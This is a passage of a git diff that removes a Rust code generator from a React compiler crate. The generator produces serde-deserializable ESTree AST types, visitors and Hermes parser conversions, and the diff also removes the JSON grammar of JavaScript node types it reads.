-            field = quote! {
-                #[serde(skip)]
-                #field
-            }
-        }
-        if let Some(rename) = &self.rename {
-            field = quote! {
-                #[serde(rename = #rename)]
-                #field
-            }
-        }
-        field
-    }
-
-    pub fn codegen_node(&self, name: &str) -> TokenStream {
-        let name = format_ident!("{}", name);
-        parse_type(&self.type_).unwrap();
-        let type_name: Type = syn::parse_str(&self.type_)
-            .unwrap_or_else(|_| panic!("Expected a type name, got `{}`", &self.type_));
-        let type_ = quote!(#type_name);
-        let mut field = quote!(pub #name: #type_);
-        if self.optional {
-            field = quote! {
-                #[serde(default)]
-                #field
-            }
-        }
-        if self.flatten {
-            field = quote! {
-                #[serde(flatten)]
-                #field
-            }
-        }
-        if self.skip {
-            field = quote! {
-                #[serde(skip)]
-                #field
-            }
-        }
-        if let Some(rename) = &self.rename {
-            field = quote! {
-                #[serde(rename = #rename)]
-                #field
-            }
-        }
-        field
-    }
-}
-
-#[derive(Serialize, Deserialize, Debug)]
-#[serde(transparent)]
-#[serde(deny_unknown_fields)]
-pub struct Enum {
-    pub variants: Vec<String>,
-}
-
-impl Enum {
-    pub fn codegen(&self, name: &str, enums: &IndexMap<String, Enum>) -> TokenStream {
-        let mut sorted_variants: Vec<_> = self.variants.iter().collect();
-        sorted_variants.sort();
-
-        let name_str = name;
-        let name = format_ident!("{}", name);
-        let variants: Vec<_> = sorted_variants
-            .iter()
-            .map(|name| {
-                let variant = format_ident!("{}", name);
-                if enums.contains_key(*name) {
-                    quote!(#variant(#variant))
-                } else {
-                    quote!(#variant(Box<#variant>))
-                }
-            })
-            .collect();
-
-        let enum_tag = format_ident!("__{}Tag", name);
-        let mut seen = HashSet::new();
-
-        // tag_variants is used to generate an enum of all the possible type tags (`type` values)
-        // that can appear in this enum. we emit this enum and derive a deserializer for it so that
-        // our enum deserializer can first decode the tag in order to know how to decode the data
-        let mut tag_variants = Vec::new();
-
-        // once the tag is decoded, we need to match against it and deserialize according the tag (`type`)
-        // tag_matches are the match arms for each type.
-        let mut tag_matches = Vec::new();
-
-        // Imagine a case like:
-        // enum ModuleItem {
-        //   ImportDeclaration, // struct
-        //   Statement // another enum
-        // }
-        // We need to generate matches for all the possible *concrete* `type` values, which means
-        // we have to expand nested enums such as `Statement`
-        for variant in self.variants.iter() {
-            if let Some(nested_enum) = enums.get(variant) {
-                let outer_variant = format_ident!("{}", variant);
-                for variant in nested_enum.variants.iter() {
-                    // Skip variants that appear in multiple nested enums, we deserialize
-                    // as the first listed outer variant
-                    if !seen.insert(variant.to_string()) {
-                        continue;
-                    }
-                    // Modeling ESTree only requires a single level of nested enums,
-                    // so that's all we support. Though in theory we could support arbitrary nesting,
-                    // since ultimately we're matching based on the final concrete types.
-                    assert!(!enums.contains_key(variant));
-
-                    let inner_variant = format_ident!("{}", variant);
-                    tag_variants.push(quote!(#inner_variant));
-
-                    tag_matches.push(quote! {
-                        #enum_tag::#inner_variant => {
-                            let node: Box<#inner_variant> = <Box<#inner_variant> as Deserialize>::deserialize(
-                                serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                            )?;
-                            Ok(#name::#outer_variant(#outer_variant::#inner_variant(node)))
-                        }
-                    });
-                }
-            } else {
-                if !seen.insert(variant.to_string()) {
-                    panic!(
-                        "Concrete variant {} was already added by a nested enum",
-                        variant
-                    );
-                }
-                let variant_name = format_ident!("{}", variant);
-                tag_variants.push(quote!(#variant_name));
-
-                tag_matches.push(quote! {
-                    #enum_tag::#variant_name => {
-                        let node: Box<#variant_name> = <Box<#variant_name> as Deserialize>::deserialize(
-                            serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                        )?;
-                        Ok(#name::#variant_name(node))
-                    }
-                })
-            }
-        }
-        quote! {
-            #[derive(Serialize, Clone, Debug)]
-            #[serde(untagged)]
-            pub enum #name {
-                #(#variants),*
-            }
-
-            #[derive(Deserialize, Debug)]
-            enum #enum_tag {
-                #(#tag_variants),*
-            }
-
-            impl <'de> serde::Deserialize<'de> for #name {
-                fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-                where D: serde::Deserializer<'de> {
-                    let tagged = serde::Deserializer::deserialize_any(
-                        deserializer,
-                        serde::__private::de::TaggedContentVisitor::<#enum_tag>::new("type", #name_str)
-                    )?;
-                    match tagged.0 {
-                        #(#tag_matches),*
-                    }
-                }
-            }
-        }
-    }
-
-    pub fn codegen_visitor(&self, name: &str) -> TokenStream {
-        let visitor_name = format_ident!("visit_{}", to_lower_snake_case(name));
-        let name = format_ident!("{}", name);
-        let mut tag_matches = Vec::new();
-
-        for variant in self.variants.iter() {
-            let node_variant = format_ident!("{}", variant);
-            let visitor_name = format_ident!("visit_{}", to_lower_snake_case(variant));
-
-            tag_matches.push(quote! {
-                #name::#node_variant(ast) => {
-                    self.#visitor_name(ast);
-                }
-            })
-        }
-        quote! {
-            fn #visitor_name(&mut self, ast: &#name) {
-                match ast {
-                    #(#tag_matches),*
-                }
-            }
-        }
-    }
-
-    pub fn codegen_hermes(&self, name: &str, grammar: &Grammar) -> TokenStream {
-        let name_str = name;
-        let name = format_ident!("{}", name);
-
-        let mut tag_matches = Vec::new();
-        let mut seen = HashSet::new();
-
-        // Imagine a case like:
-        // enum ModuleItem {
-        //   ImportDeclaration, // struct
-        //   Statement // another enum
-        // }
-        // We need to generate matches for all the possible *concrete* `type` values, which means
-        // we have to expand nested enums such as `Statement`
-        for variant in self.variants.iter() {
-            if let Some(nested_enum) = grammar.enums.get(variant) {
-                let outer_variant = format_ident!("{}", variant);
-                for variant in nested_enum.variants.iter() {
-                    // Skip variants that appear in multiple nested enums, we deserialize
-                    // as the first listed outer variant
-                    if !seen.insert(variant.to_string()) {
-                        continue;
-                    }
-                    // Modeling ESTree only requires a single level of nested enums,
-                    // so that's all we support. Though in theory we could support arbitrary nesting,
-                    // since ultimately we're matching based on the final concrete types.
-                    assert!(!grammar.enums.contains_key(variant));
-                    let node = grammar.nodes.get(variant).unwrap();
-                    if node.skip_hermes_enum_variant {
-                        continue;
-                    }
-
-                    let inner_variant = format_ident!("{}", variant);
-                    let node_variant_name = node.type_.as_ref().unwrap_or(variant);
-                    let node_variant = format_ident!("{}", node_variant_name);
-
-                    tag_matches.push(quote! {
-                        NodeKind::#node_variant => {
-                            let node = #inner_variant::convert(cx, node);
-                            #name::#outer_variant(#outer_variant::#inner_variant(Box::new(node)))
-                        }
-                    });
-                }
-            } else {
-                if !seen.insert(variant.to_string()) {
-                    panic!(
-                        "Concrete variant {} was already added by a nested enum",
-                        variant
-                    );
-                }
-                let variant_name = format_ident!("{}", variant);
-                let node = grammar.nodes.get(variant).unwrap();
-                if node.skip_hermes_enum_variant {
-                    continue;
-                }
-
-                let node_variant_name = node.type_.as_ref().unwrap_or(variant);
-                let node_variant = format_ident!("{}", node_variant_name);
-
-                tag_matches.push(quote! {
-                    NodeKind::#node_variant => {
-                        let node = #variant_name::convert(cx, node);
-                        #name::#variant_name(Box::new(node))
-                    }
-                })
-            }
-        }
-
-        quote! {
-            impl FromHermes for #name {
-                fn convert(cx: &mut Context, node: NodePtr) -> Self {
-                    let node_ref = node.as_ref();
-                    match node_ref.kind {
-                        #(#tag_matches),*
-                        _ => panic!("Unexpected node kind `{:?}` for `{}`", node_ref.kind, #name_str)
-                    }
-                }
-            }
-        }
-    }
-}
-
-#[derive(Serialize, Deserialize, Debug)]
-#[serde(transparent)]
-#[serde(deny_unknown_fields)]
-pub struct Operator {
-    pub variants: IndexMap<String, String>,
-}
-
-impl Operator {
-    pub fn codegen(&self, name: &str) -> TokenStream {
-        let mut sorted_variants: Vec<_> = self.variants.iter().collect();
-        sorted_variants.sort();
-
-        let name = format_ident!("{}", name);
-        let variants: Vec<_> = sorted_variants
-            .iter()
-            .map(|(name, operator)| {
-                let name = format_ident!("{}", name);
-                let comment = format!(" {}", &operator);
-                quote! {
-                    #[doc = #comment]
-                    #[serde(rename = #operator)]
-                    #name
-                }
-            })
-            .collect();
-
-        let display_matches: Vec<_> = sorted_variants
-            .iter()
-            .map(|(name, operator)| {
-                let name = format_ident!("{}", name);
-                quote!(Self::#name => #operator)
-            })
-            .collect();
-
-        let fromstr_matches: Vec<_> = sorted_variants
-            .iter()
-            .map(|(name, operator)| {
-                let name = format_ident!("{}", name);
-                quote!(#operator => Ok(Self::#name))
-            })
-            .collect();
-
-        quote! {
-            #[derive(Serialize, Deserialize, Clone, Copy, Eq, PartialEq, Ord, PartialOrd, Hash, Debug)]
-            pub enum #name {
-                #(#variants),*
-            }
-
-            impl std::fmt::Display for #name {
-                fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-                    let name = match self {
-                        #(#display_matches),*
-                    };
-                    f.write_str(name)
-                }
-            }
-
-            impl std::str::FromStr for #name {
-                type Err = ();
-
-                fn from_str(s: &str) -> Result<Self, Self::Err> {
-                    match s {
-                        #(#fromstr_matches,)*
-                        _ => Err(()),
-                    }
-                }
-            }
-        }
-    }
-
-    pub fn codegen_hermes(&self, name: &str) -> TokenStream {
-        let mut sorted_variants: Vec<_> = self.variants.iter().collect();
-        sorted_variants.sort();
-
-        let name = format_ident!("{}", name);
-
-        quote! {
-            impl FromHermesLabel for #name {
-                fn convert(cx: &mut Context, label: NodeLabel) -> Self {
-                    let utf_str = utf8_with_surrogates_to_string(label.as_slice()).unwrap();
-                    utf_str.parse().unwrap()
-                }
-            }
-        }
-    }
-}
-
-enum TypeKind {
-    /// T
-    Named,
-
-    /// Option<T>
-    Option,
-
-    /// Vec<T>
-    Vec,
-
-    /// Vec<Option<T>>
-    VecOfOption,
-}
-
-/// Parses a given type into the underlying type name plus a descriptor of the
-/// kind of type. Only a subset of Rust types are supported:
-/// - T
-/// - Option<T>
-/// - Vec<T>
-/// - Vec<Option<T>>
-fn parse_type(type_: &str) -> Result<(String, TypeKind), String> {
-    let mut current = type_;
-    let mut is_list = false;
-    let mut is_option = false;
-    if current.starts_with("Vec<") {
-        current = &current[4..current.len() - 1];
-        is_list = true;
-    }
-    if current.starts_with("Option<") {
-        current = &current[7..current.len() - 1];
-        is_option = true;
-    }
-    if current.contains('<') {
-        Err(format!(
-            "Unsupported type `{current}` expected named type (`Identifier`), optional type (`Option<Identifier>`), list type (`Vec<Identifier>`), or optional list (`Vec<Option<Identifier>>`)"
-        ))
-    } else {
-        let kind = match (is_list, is_option) {
-            (true, true) => TypeKind::VecOfOption,
-            (true, false) => TypeKind::Vec,
-            (false, true) => TypeKind::Option,
-            (false, false) => TypeKind::Named,
-        };
-        Ok((current.to_string(), kind))
-    }
-}
-
-// from https://github.com/rust-lang/rust-analyzer/blob/4105378dc7479a3dbd39a4afb3eba67d083bd7f8/xtask/src/codegen/gen_syntax.rs#L406C1-L418C2
-fn to_lower_snake_case(s: &str) -> String {
-    let mut buf = String::with_capacity(s.len());
-    let mut prev = false;
-    for c in s.chars() {
-        if c.is_ascii_uppercase() {
-            if prev {
-                buf.push('_')
-            }
-            prev = false;
-        } else {
-            prev = true;
-        }
-
-        buf.push(c.to_ascii_lowercase());
-    }
-    buf
-}
diff --git a/compiler/crates/react_estree_codegen/src/ecmascript.json b/compiler/crates/react_estree_codegen/src/ecmascript.json
deleted file mode 100644
index f88f3e2e606f..000000000000
--- a/compiler/crates/react_estree_codegen/src/ecmascript.json
+++ /dev/null
@@ -1,1367 +0,0 @@
-{
-    "objects": {
-        "SourceLocation": {
-            "fields": {
-                "source": {
-                    "type": "Option<String>"
-                },
-                "start": {
-                    "type": "Position"
-                },
-                "end": {
-                    "type": "Position"
-                }
-            }
-        },
-        "Position": {
-            "fields": {
-                "line": {
-                    "type": "NonZeroU32"
-                },
-                "column": {
-                    "type": "u32"
-                }
-            }
-        },
-        "Class": {
-            "visitor": true,
-            "fields": {
-                "id": {
-                    "type": "Option<Identifier>"
-                },
-                "super_class": {
-                    "type": "Option<Expression>",
-                    "rename": "superClass"
-                },
-                "body": {
-                    "type": "ClassBody"
-                }
-            }
-        },
-        "Function": {
-            "visitor": true,
-            "fields": {
-                "id": {
-                    "type": "Option<Identifier>"
-                },
-                "params": {
-                    "type": "Vec<Pattern>"
-                },
-                "body": {
-                    "type": "Option<FunctionBody>"
-                },
-                "is_generator": {
-                    "type": "bool",
-                    "optional": true,
-                    "rename": "generator"
-                },
-                "is_async": {
-                    "type": "bool",
-                    "optional": true,
-                    "rename": "async"
-                },
-                "loc": {
-                    "type": "Option<SourceLocation>",
-                    "optional": true
-                },
-                "range": {
-                    "type": "Option<SourceRange>",
-                    "optional": true
-                }
-            }
-        },
-        "RegExpValue": {
-            "fields": {
-                "pattern": {
-                    "type": "String"
-                },
-                "flags": {
-                    "type": "String"
-                }
-            }
-        },
-        "TemplateElementValue": {
-            "fields": {
-                "cooked": {
-                    "type": "Option<String>"
-                },
-                "raw": {
-                    "type": "String"
-                }
-            }
-        }
-    },
-    "nodes": {
-        "Identifier": {
-            "fields": {
-                "name": {
-                    "type": "String"
-                },
-                "binding": {
-                    "type": "Option<Binding>",
-                    "optional": true,
-                    "skip": true
-                },
-                "type_annotation": {
-                    "type": "Option<TypeAnnotation>",
-                    "optional": true,
-                    "rename": "typeAnnotation",
-                    "hermes_default": true,
-                    "TODO": "support HermesParser"
-                }
-            }
-        },
-        "Literal": {
-            "skip_hermes_codegen": true,
-            "skip_hermes_enum_variant": true,
-            "fields": {
-                "value": {
-                    "type": "JsValue"
-                },
-                "raw": {
-                    "type": "Option<String>",
-                    "optional": true
-                },
-                "regex": {
-                    "type": "Option<RegExpValue>",
-                    "optional": true
-                },
-                "bigint": {
-                    "type": "Option<String>",
-                    "optional": true
-                }
-            }
-        },
-        "NumericLiteral": {
-            "fields": {
-                "value": {
-                    "type": "Number"
-                }
-            }
-        },
-        "BooleanLiteral": {
-            "fields": {
-                "value": {
-                    "type": "bool"
-                }
-            }
-        },
-        "NullLiteral": {},
-        "StringLiteral": {
-            "fields": {
-                "value": {
-                    "type": "String",
-                    "hermes_convert_with": "convert_string_value"
-                }
-            }
-        },
-        "RegExpLiteral": {
-            "fields": {
-                "pattern": {
-                    "type": "String"
-                },
-                "flags": {
-                    "type": "String"
-                }
-            }
-        },
-        "Program": {
-            "fields": {
-                "body": {
-                    "type": "Vec<ModuleItem>"
-                },
-                "source_type": {
-                    "type": "SourceType",
-                    "optional": true,
-                    "rename": "sourceType",
-                    "hermes_default": true
-                }
-            }
-        },
-        "ExpressionStatement": {
-            "fields": {
-                "expression": {
-                    "type": "Expression"
-                },
-                "directive": {
-                    "type": "Option<String>",
-                    "optional": true,
-                    "hermes_default": true
-                }
-            }
-        },
-        "BlockStatement": {
-            "fields": {
-                "body": {
-                    "type": "Vec<Statement>"
-                }
-            }
-        },
-        "EmptyStatement": {},
-        "DebuggerStatement": {},
-        "WithStatement": {
-            "fields": {
-                "object": {
-                    "type": "Expression"
-                },
-                "body": {
-                    "type": "Statement"
-                }
-            }
-        },
-        "ReturnStatement": {
-            "fields": {
-                "argument": {
-                    "type": "Option<Expression>"
-                }
-            }
-        },
-        "LabeledStatement": {
-            "fields": {
-                "label": {
-                    "type": "Identifier"
-                },
-                "body": {
-                    "type": "Statement"
-                }
-            }
-        },
-        "BreakStatement": {
-            "fields": {
-                "label": {
-                    "type": "Option<Identifier>"
-                }
-            }
-        },
-        "ContinueStatement": {
-            "fields": {
-                "label": {
-                    "type": "Option<Identifier>"
-                }
-            }
-        },
-        "IfStatement": {
-            "fields": {
-                "test": {
-                    "type": "Expression"
-                },
-                "consequent": {
-                    "type": "Statement"
-                },
-                "alternate": {
-                    "type": "Option<Statement>"
-                }
-            }
-        },
-        "SwitchStatement": {
-            "fields": {
-                "discriminant": {
-                    "type": "Expression"
-                },
-                "cases": {
-                    "type": "Vec<SwitchCase>"
-                }
-            }
-        },
-        "SwitchCase": {
-            "fields": {
-                "test": {
-                    "type": "Option<Expression>"
-                },
-                "consequent": {
-                    "type": "Vec<Statement>"
-                }
-            }
-        },
-        "ThrowStatement": {
-            "fields": {
-                "argument": {
-                    "type": "Expression"
-                }
-            }
-        },
-        "TryStatement": {
-            "fields": {
-                "block": {
-                    "type": "BlockStatement"
-                },
-                "handler": {
-                    "type": "Option<CatchClause>"
-                },
-                "finalizer": {
-                    "type": "Option<BlockStatement>"
-                }
-            }
-        },
-        "CatchClause": {
-            "fields": {
-                "param": {
-                    "type": "Option<Pattern>"
-                },
-                "body": {
-                    "type": "BlockStatement"
-                }
-            }
-        },
-        "WhileStatement": {
-            "fields": {
-                "test": {
-                    "type": "Expression"
-                },
-                "body": {
-                    "type": "Statement"
-                }
-            }
-        },
-        "DoWhileStatement": {
-            "fields": {
-                "body": {
-                    "type": "Statement"
-                },
-                "test": {
-                    "type": "Expression"
-                }
-            }
-        },
-        "ForStatement": {
-            "fields": {
-                "init": {
-                    "type": "Option<ForInit>"
-                },
-                "test": {
-                    "type": "Option<Expression>"
-                },
-                "update": {
-                    "type": "Option<Expression>"
-                },
-                "body": {
-                    "type": "Statement"
-                }
-            }
-        },
-        "ForInStatement": {
-            "fields": {
-                "left": {
-                    "type": "ForInInit"
-                },
-                "right": {
-                    "type": "Expression"
-                },
-                "body": {
-                    "type": "Statement"
-                }
-            }
-        },
-        "ForOfStatement": {
-            "fields": {
-                "is_await": {
-                    "type": "bool",
-                    "optional": true,
-                    "rename": "await"
-                },
-                "left": {
-                    "type": "ForInInit"
-                },
-                "right": {
-                    "type": "Expression"
-                },
-                "body": {
-                    "type": "Statement"
-                }
-            }
-        },
-        "FunctionDeclaration": {
-            "skip_hermes_codegen": true,
-            "fields": {
-                "function": {
-                    "type": "Function",
-                    "flatten": true
-                }
-            }
-        },
-        "ClassDeclaration": {
-            "skip_hermes_codegen": true,
-            "fields": {
-                "class": {
-                    "type": "Class",
-                    "flatten": true
-                }
-            }
-        },
-        "ClassExpression": {
-            "skip_hermes_codegen": true,
-            "fields": {
-                "class": {
-                    "type": "Class",
-                    "flatten": true
-                }
-            }
-        },
-        "ClassBody": {
-            "fields": {
-                "body": {
-                    "type": "Vec<ClassItem>"
-                }
-            }
-        },
-        "MethodDefinition": {
-            "fields": {
-                "key": {
-                    "type": "Expression"
-                },
-                "value": {
-                    "type": "FunctionExpression"
-                },
-                "kind": {
-                    "type": "MethodKind"
-                },
-                "is_computed": {
-                    "type": "bool",
-                    "rename": "computed"
-                },
-                "is_static": {
-                    "type": "bool",
-                    "rename": "static"
-                }
-            }
-        },
-        "VariableDeclaration": {
-            "fields": {
-                "kind": {
-                    "type": "VariableDeclarationKind"
-                },
-                "declarations": {
-                    "type": "Vec<VariableDeclarator>"
-                }
-            }
-        },
-        "VariableDeclarator": {
-            "fields": {
-                "id": {
-                    "type": "Pattern"
-                },
-                "init": {
-                    "type": "Option<Expression>"
-                }
-            }
-        },
-        "ThisExpression": {},
-        "ArrayExpression": {
-            "fields": {
-                "elements": {
-                    "type": "Vec<Option<ExpressionOrSpread>>",
-                    "hermes_convert_with": "convert_array_expression_elements"
-                }
-            }
-        },
-        "ObjectExpression": {
-            "fields": {
-                "properties": {
-                    "type": "Vec<PropertyOrSpreadElement>"
-                }
-            }
-        },
-        "Property": {
-            "fields": {
-                "key": {
-                    "type": "Expression"
-                },
-                "value": {
-                    "type": "Expression"
-                },
-                "kind": {
-                    "type": "PropertyKind"
-                },
-                "is_method": {
-                    "type": "bool",
-                    "rename": "method"
-                },
-                "is_shorthand": {
-                    "type": "bool",
-                    "rename": "shorthand"
-                },
-                "is_computed": {
-                    "type": "bool",
-                    "rename": "computed"
-                }
-            }
-        },
-        "FunctionExpression": {
-            "skip_hermes_codegen": true,
-            "fields": {
-                "function": {
-                    "type": "Function",
-                    "flatten": true
-                }
-            }
-        },
-        "ArrowFunctionExpression": {
-            "skip_hermes_codegen": true,
-            "fields": {
-                "function": {
-                    "type": "Function",
-                    "flatten": true
-                },
-                "is_expression": {
-                    "type": "bool",
-                    "rename": "expression"
-                }
-            }
-        },
-        "UnaryExpression": {
-            "fields": {
-                "operator": {
-                    "type": "UnaryOperator"
-                },
-                "prefix": {
-                    "type": "bool"
-                },
-                "argument": {
-                    "type": "Expression"
-                }
-            }
-        },
-        "UpdateExpression": {
-            "fields": {
-                "operator": {
-                    "type": "UpdateOperator"
-                },
-                "argument": {
-                    "type": "Expression"
-                },
-                "prefix": {
-                    "type": "bool"
-                }
-            }
-        },
-        "BinaryExpression": {
-            "fields": {
-                "left": {
-                    "type": "Expression"
-                },
-                "operator": {
-                    "type": "BinaryOperator"
-                },
-                "right": {
-                    "type": "Expression"
-                }
-            }
-        },
-        "AssignmentExpression": {
-            "fields": {
-                "operator": {
-                    "type": "AssignmentOperator"
-                },
-                "left": {
-                    "type": "AssignmentTarget"
-                },
-                "right": {
-                    "type": "Expression"
-                }
-            }
-        },
-        "LogicalExpression": {
-            "fields": {
-                "operator": {
-                    "type": "LogicalOperator"
-                },
-                "left": {
-                    "type": "Expression"
-                },
-                "right": {
-                    "type": "Expression"
-                }
-            }
-        },
-        "MemberExpression": {
-            "fields": {
-                "object": {
-                    "type": "ExpressionOrSuper"
-                },
-                "property": {
-                    "type": "ExpressionOrPrivateIdentifier"
-                },
-                "is_computed": {
-                    "type": "bool",
-                    "rename": "computed"
-                }
-            }
-        },
-        "ConditionalExpression": {
-            "fields": {
-                "test": {
-                    "type": "Expression"
-                },
-                "alternate": {
-                    "type": "Expression"
-                },
-                "consequent": {
-                    "type": "Expression"
-                }
-            }
-        },
-        "CallExpression": {
-            "fields": {
-                "callee": {
-                    "type": "ExpressionOrSuper"
-                },
-                "arguments": {
-                    "type": "Vec<ExpressionOrSpread>"
-                }
-            }
-        },
-        "NewExpression": {
-            "fields": {
-                "callee": {
-                    "type": "Expression"
-                },
-                "arguments": {
-                    "type": "Vec<ExpressionOrSpread>"
-                }
-            }
-        },
-        "SequenceExpression": {
-            "fields": {
-                "expressions": {
-                    "type": "Vec<Expression>"
-                }
-            }
-        },
-        "Super": {},
-        "SpreadElement": {
-            "fields": {
-                "argument": {
-                    "type": "Expression"
-                }
-            }
-        },
-        "YieldExpression": {
-            "fields": {
-                "argument": {
-                    "type": "Option<Expression>",
-                    "optional": true
-                },
-                "is_delegate": {
-                    "type": "bool",
-                    "rename": "delegate"
-                }
-            }
-        },
-        "ImportDeclaration": {
-            "fields": {
-                "specifiers": {
-                    "type": "Vec<ImportDeclarationSpecifier>"
-                },
-                "source": {
-                    "type": "_Literal"
-                }
-            }
-        },
-        "ImportSpecifier": {
-            "fields": {
-                "imported": {
-                    "type": "Identifier"
-                },
-                "local": {
-                    "type": "Identifier"
-                }
-            }
-        },
-        "ImportDefaultSpecifier": {
-            "fields": {
-                "local": {
-                    "type": "Identifier"
-                }
-            }
-        },
-        "ImportNamespaceSpecifier": {
-            "fields": {
-                "local": {
-                    "type": "Identifier"
-                }
-            }
-        },
-        "ExportNamedDeclaration": {
-            "fields": {
-                "declaration": {
-                    "type": "Option<Declaration>"
-                },
-                "specifiers": {
-                    "type": "Vec<ExportSpecifier>"
-                },
-                "source": {
-                    "type": "Option<_Literal>"
-                }
-            }
-        },
-        "ExportSpecifier": {
-            "fields": {
-                "exported": {
-                    "type": "Identifier"
-                }
-            }
-        },
-        "ExportDefaultDeclaration": {
-            "fields": {
-                "declaration": {
-                    "type": "DeclarationOrExpression"
-                }
-            }
-        },
-        "ExportAllDeclaration": {
-            "fields": {
-                "source": {
-                    "type": "_Literal"
-                },
-                "exported": {
-                    "type": "Option<Identifier>",
-                    "optional": true,
-                    "hermes_default": true
-                }
-            }
-        },
-        "JSXIdentifier": {
-            "fields": {
-                "name": {
-                    "type": "String"
-                },
-                "binding": {
-                    "type": "Option<Binding>",
-                    "optional": true,
-                    "skip": true
-                }
-            }
-        },
-        "JSXNamespacedName": {
-            "fields": {
-                "namespace": {
-                    "type": "JSXIdentifier"
-                },
-                "name": {
-                    "type": "JSXIdentifier"
-                }
-            }
-        },
-        "JSXMemberExpression": {
-            "fields": {
-                "object": {
-                    "type": "JSXMemberExpressionOrIdentifier"
-                },
-                "property": {
-                    "type": "JSXIdentifier"
-                }
-            }
-        },
-        "JSXEmptyExpression": {},
-        "JSXExpressionContainer": {
-            "fields": {
-                "expression": {
-                    "type": "JSXExpressionOrEmpty"
-                }
-            }
-        },
-        "JSXSpreadChild": {
-            "fields": {
-                "expression": {
-                    "type": "Expression"
-                }
-            }
-        },
-        "JSXOpeningElement": {
-            "fields": {
-                "name": {
-                    "type": "JSXElementName"
-                },
-                "attributes": {
-                    "type": "Vec<JSXAttributeOrSpread>"
-                },
-                "self_closing": {
-                    "type": "bool",
-                    "rename": "selfClosing"
-                }
-            }
-        },
-        "JSXClosingElement": {
-            "fields": {
-                "name": {
-                    "type": "JSXElementName"
-                }
-            }
-        },
-        "JSXAttribute": {
-            "fields": {
-                "name": {
-                    "type": "JSXIdentifierOrNamespacedName"
-                },
-                "value": {
-                    "type": "Option<JSXAttributeValue>"
-                }
-            }
-        },
-        "JSXSpreadAttribute": {
-            "fields": {
-                "argument": {
-                    "type": "Expression"
-                }
-            }
-        },
-        "JSXText": {
-            "fields": {
-                "value": {
-                    "type": "String",
-                    "hermes_convert_with": "convert_string_value"
-                },
-                "raw": {
-                    "type": "String"
-                }
-            }
-        },
-        "JSXStringLiteral": {
-            "fields": {
-                "value": {
-                    "type": "String",
-                    "hermes_convert_with": "convert_string_value"
-                },
-                "raw": {
-                    "type": "String"
-                }
-            },
-            "TODO": "Non-standard HermesParser node"
-        },
-        "JSXElement": {
-            "fields": {
-                "opening_element": {
-                    "type": "JSXOpeningElement",
-                    "rename": "openingElement"
-                },
-                "children": {
-                    "type": "Vec<JSXChildItem>"
-                },
-                "closing_element": {
-                    "type": "Option<JSXClosingElement>",
-                    "rename": "closingElement"
-                }
-            }
-        },
-        "JSXFragment": {
-            "fields": {
-                "opening_fragment": {
-                    "type": "JSXOpeningFragment",
-                    "rename": "openingFragment"
-                },
-                "children": {
-                    "type": "Vec<JSXChildItem>"
-                },
-                "closing_fragment": {
-                    "type": "JSXClosingFragment",
-                    "rename": "closingFragment"
-                }
-            }
-        },
-        "JSXOpeningFragment": {},
-        "JSXClosingFragment": {},
-        "ArrayPattern": {
-            "fields": {
-                "elements": {
-                    "type": "Vec<Option<Pattern>>"
-                }
-            }
-        },
-        "ObjectPattern": {
-            "fields": {
-                "properties": {
-                    "type": "Vec<AssignmentPropertyOrRestElement>"
-                }
-            }
-        },
-        "AssignmentProperty": {
-            "skip_hermes_codegen": true,
-            "type": "Property",
-            "fields": {
-                "key": {
-                    "type": "Expression"
-                },
-                "value": {
-                    "type": "Pattern"
-                },
-                "kind": {
-                    "type": "PropertyKind",
-                    "TODO": "fixed value `init`"
-                },
-                "is_computed": {
-                    "type": "bool",
-                    "rename": "computed"
-                },
-                "is_shorthand": {
-                    "type": "bool",
-                    "rename": "shorthand"
-                },
-                "is_method": {
-                    "type": "bool",
-                    "rename": "method",
-                    "TODO": "fixed value `false`" 
-                }
-            }
-        },
-        "RestElement": {
-            "fields": {
-                "argument": {
-                    "type": "Pattern"
-                }
-            }
-        },
-        "AssignmentPattern": {
-            "fields": {
-                "left": {
-                    "type": "Pattern"
-                },
-                "right": {
-                    "type": "Expression"
-                }
-            }
-        },
-        "TemplateLiteral": {
-            "fields": {
-                "quasis": {
-                    "type": "Vec<TemplateElement>"
-                },
-                "expressions": {
-                    "type": "Vec<Expression>"
-                }
-            }
-        },
-        "TemplateElement": {
-            "skip_hermes_codegen": true,
-            "fields": {
-                "tail": {
-                    "type": "bool"
-                },
-                "value": {
-                    "type": "TemplateElementValue"
-                }
-            }
-        },
-        "TaggedTemplateExpression": {
-            "fields": {
-                "tag": {
-                    "type": "Expression"
-                },
-                "quasi": {
-                    "type": "TemplateLiteral"
-                }
-            }
-        },
-        "MetaProperty": {
-            "fields": {
-                "meta": {
-                    "type": "Identifier"
-                },
-                "property": {
-                    "type": "Identifier"
-                }
-            }
-        },
-        "AwaitExpression": {
-            "fields": {
-                "argument": {
-                    "type": "Expression"
-                }
-            }
-        },
-        "ChainExpression": {
-            "skip_hermes_codegen": true,
-            "skip_hermes_enum_variant": true,
-            "fields": {
-                "expression": {
-                    "type": "ChainElement"
-                }
-            }
-        },
-        "OptionalMemberExpression": {
-            "fields": {
-                "object": {
-                    "type": "Expression"
-                },
-                "property": {
-                    "type": "Expression"
-                },
-                "is_computed": {
-                    "type": "bool",
-                    "rename": "computed"
-                },
-                "is_optional": {
-                    "type": "bool",
-                    "optional": true,
-                    "rename": "optional"
-                }
-            }
-        },
-        "OptionalCallExpression": {
-            "fields": {
-                "callee": {
-                    "type": "ExpressionOrSuper"
-                },
-                "arguments": {
-                    "type": "Vec<ExpressionOrSpread>"
-                },
-                "is_optional": {
-                    "type": "bool",
-                    "optional": true,
-                    "rename": "optional"
-                }
-            }
-        },
-        "ImportExpression": {
-            "fields": {
-                "source": {
-                    "type": "Expression"
-                }
-            }
-        },
-        "ClassProperty": {
-            "fields": {
-                "key": {
-                    "type": "Expression"
-                },
-                "value": {
-                    "type": "Option<Expression>",
-                    "optional": true
-                },
-                "is_computed": {
-                    "type": "bool",
-                    "rename": "computed"
-                },
-                "is_static": {
-                    "type": "bool",
-                    "rename": "static"
-                }
-            }
-        },
-        "ClassPrivateProperty": {
-            "fields": {
-                "key": {
-                    "type": "ExpressionOrPrivateIdentifier"
-                },
-                "value": {
-                    "type": "Option<Expression>",
-                    "optional": true
-                },
-                "is_static": {
-                    "type": "bool",
-                    "rename": "static"
-                }
-            },
-            "TODO": "Non-standard HermesParser node"
-        },
-        "PrivateName": {
-            "fields": {
-                "id": {
-                    "type": "Identifier"
-                }
-            },
-            "TODO": "Non-standard HermesParser node"
-        },
-        "PrivateIdentifier": {
-            "skip_hermes_codegen": true,
